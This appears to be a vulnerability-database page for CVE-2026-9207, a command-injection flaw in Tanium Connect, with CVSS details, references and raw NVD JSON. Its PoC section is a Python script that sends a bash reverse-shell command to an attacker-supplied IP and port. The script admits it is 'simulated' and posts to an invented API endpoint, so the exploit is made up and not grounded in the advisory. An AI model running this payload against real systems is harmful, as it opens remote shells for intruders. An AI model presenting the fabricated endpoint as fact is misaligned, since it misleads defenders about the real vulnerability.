CVE-2026-9207

Description

Tanium addressed an unauthorized code execution vulnerability in Connect.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:tanium:connect:*:*:*:*:*:*:*:* - VULNERABLE

Tanium Connect < 安全补丁版本（具体版本号请参考TAN-2026-014）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-9207 PoC - Tanium Connect Unauthorized RCE
# This is a simulated PoC for educational purposes only

import requests
import sys

def exploit_tanium_connect(target_url, attacker_ip, attacker_port):
    """
    Simulated exploit for CVE-2026-9207
    Replace with actual vulnerable endpoint and payload
    """
    print(f"[*] Targeting: {target_url}")
    print(f"[*] Setting up reverse shell callback...")
    
    # Construct malicious payload
    # Note: Actual exploitation requires identifying the specific vulnerable parameter
    payload = {
        "action": "execute",
        "command": f"/bin/bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1",
        "target": "connect_endpoint"
    }
    
    try:
        # Send exploit request
        response = requests.post(
            f"{target_url}/api/v1/connect/execute",
            json=payload,
            verify=False,
            timeout=10
        )
        
        print(f"[+] Request sent with status: {response.status_code}")
        print(f"[*] Check listener on {attacker_ip}:{attacker_port}")
        
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: python {sys.argv[0]} <target_url> <attacker_ip> <port>")
        sys.exit(1)
    
    exploit_tanium_connect(sys.argv[1], sys.argv[2], sys.argv[3])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9207
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9207
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9207/
[4] VulDB https://vuldb.com/cve/CVE-2026-9207
[5] https://security.tanium.com/TAN-2026-014

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9207", "sourceIdentifier": "3938794e-25f5-4123-a1ba-5cbd7f104512", "published": "2026-05-27T02:16:35.130", "lastModified": "2026-05-28T13:31:51.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tanium addressed an unauthorized code execution vulnerability in Connect."}], "metrics": {"cvssMetricV31": [{"source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tanium:connect:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.26.0", "versionEndExcluding": "5.26.191", "matchCriteriaId": "1A1A615A-ACF4-456D-BBE8-B0F70FB7DA4B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tanium:connect:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.29.0", "versionEndExcluding": "5.29.237", "matchCriteriaId": "59870041-B951-4A62-A0BD-A603F02395AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tanium:connect:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.37.0", "versionEndExcluding": "5.37.140", "matchCriteriaId": "6AE994A8-3B04-48FC-8E91-D1B56A68248F"}]}]}], "references": [{"url": "https://security.tanium.com/TAN-2026-014", "source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "tags": ["Vendor Advisory"]}]}}